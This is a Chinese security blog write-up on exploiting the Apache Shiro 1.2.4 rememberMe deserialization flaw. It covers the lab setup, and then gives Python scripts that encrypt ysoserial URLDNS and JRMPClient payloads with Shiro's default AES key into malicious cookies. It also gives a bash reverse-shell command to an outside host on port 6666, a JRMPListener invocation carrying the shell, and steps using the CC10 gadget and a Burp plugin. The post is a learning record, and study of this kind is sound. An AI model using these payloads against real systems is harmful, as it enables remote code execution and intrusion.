Web
关于Shiro550反序列漏洞分析和利用网上的资料浩如烟海,本文作为笔者在学习过程中的阶段性记录。
0x01 手工搭建漏洞环境和URLDNS探测
从github获取对应漏洞版本的shiro
1 2 3
| git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 cd samples/web
|
在pom.xml里添加存在漏洞的common-collections版本和一些编译配置项,添加项如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> ... <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> ..... <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependencies>
|
可见这里手工添加了CC4用于漏洞的利用
使用IDEA打开该maven项目,直接编译会出现maven-toolchains-plugin报错,形如
1 2 3 4 5
| [INFO] --- maven-toolchains-plugin:1.1:toolchain (default) @ shiro-root --- [INFO] Required toolchain: jdk [ vendor='sun' version='1.6' ] [ERROR] No toolchain found for type jdk [ERROR] Cannot find matching toolchain definitions for the following toolchain types: jdk [ vendor='sun' version='1.6' ]
|
解决办法是在.m2目录下添加一个toolchains.xml文件

在当前计算机安装jdk1.6,toolchains.xml文件内容如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <toolchains> <toolchain> <type>jdk</type> <provides> <version>1.6</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>D:\Tools\Java\jdk1.6.0_45\</jdkHome> </configuration> </toolchain> </toolchains>
|
重新在samples/web/目录下执行mvn install,随后将在target目录下生成war包

然后将该war包部署到tomcat的webapps目录下,漏洞环境搭建完成

环境搭建完成,利用ysoserial里的URLDNS payload来打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import sys import uuid import base64 import subprocess from Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))
|
然后在命令行指定对应的域名,生成了对应的cookie

修改rememberMe cookie的值发送请求

然后dnslog.cn上就有了dns记录。漏洞存在。

0x02 使用JRMPClient对vulhub环境进行漏洞利用
可见自行搭建漏洞环境还是比较麻烦的,可以使用vulhub的环境,该环境使用了自带的CC3,不需要额外添加gadget
直接使用vulhub的docker环境
修改docker-compose.yml文件里的端口,生成容器


漏洞环境启用后,在另一台VPS上,发起利用
首先要生成利用的cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import sys import uuid import base64 import subprocess from Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))
|
注意在当前目录下放置一个ysoserial.jar文件
然后指定JRMP监听的服务端口,生成rememberMe cookie值。

然后在http://www.jackson-t.ca/runtime-exec-payloads.html下生成base64后的payload
1
| bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1
|
然后在当前的攻击VPS上监听JRMP
1
| java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12311 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
|
接着监听上面指定的6666端口
然后通过burpsuite发送攻击payload,利用上面生成的cookie

可以看到JRMPListener收到了数据

随后,6666端口也弹回了shell

经测试,CommonsCollections6和CommonsBeanutils1也可以触发,CommonsCollections1和CommonsCollections2和CommonsCollections3和CommonsCollections4无法触发。
Vulhub里的docker环境java版本:

参考链接
https://www.freebuf.com/articles/web/214096.html
https://github.com/frohoff/ysoserial
0x03 使用CommonsCollections10对vulhub环境进行漏洞利用
因为vulhub的环境用的是Commons-Collections-3.2.1,这个版本因为resolveClass函数被重写,导致无法加载数组类,所以之前的CommonsCollections1那些gadget无法使用。
对于不同gadget适用的版本,有文章做了总结:
https://www.freebuf.com/articles/web/214096.html
首先魔改下网上的工具,下载含有CC10 gadget的ysoserial,将原先的cc2,改为cc10
https://github.com/wh1t3p1g/ysoserial/releases

首先使用ceye探测

然后直接执行传入的命令,成功反弹回shell


0x04 Burp插件ShiroPoc的漏洞利用
以vulhub为例,在burp里导入插件后,抓包并在Repeater里右键配置插件的payload。

Vulhub环境需要用CC10来打,Exploit选择XrayCmd或者SpringBootEcho1都是可以的,另外需要注意这里的请求路径,不要携带login。
在cmd的位置处写入要执行的命令。


注意反弹shell的命令需要编码处理,如下图,成功反弹。
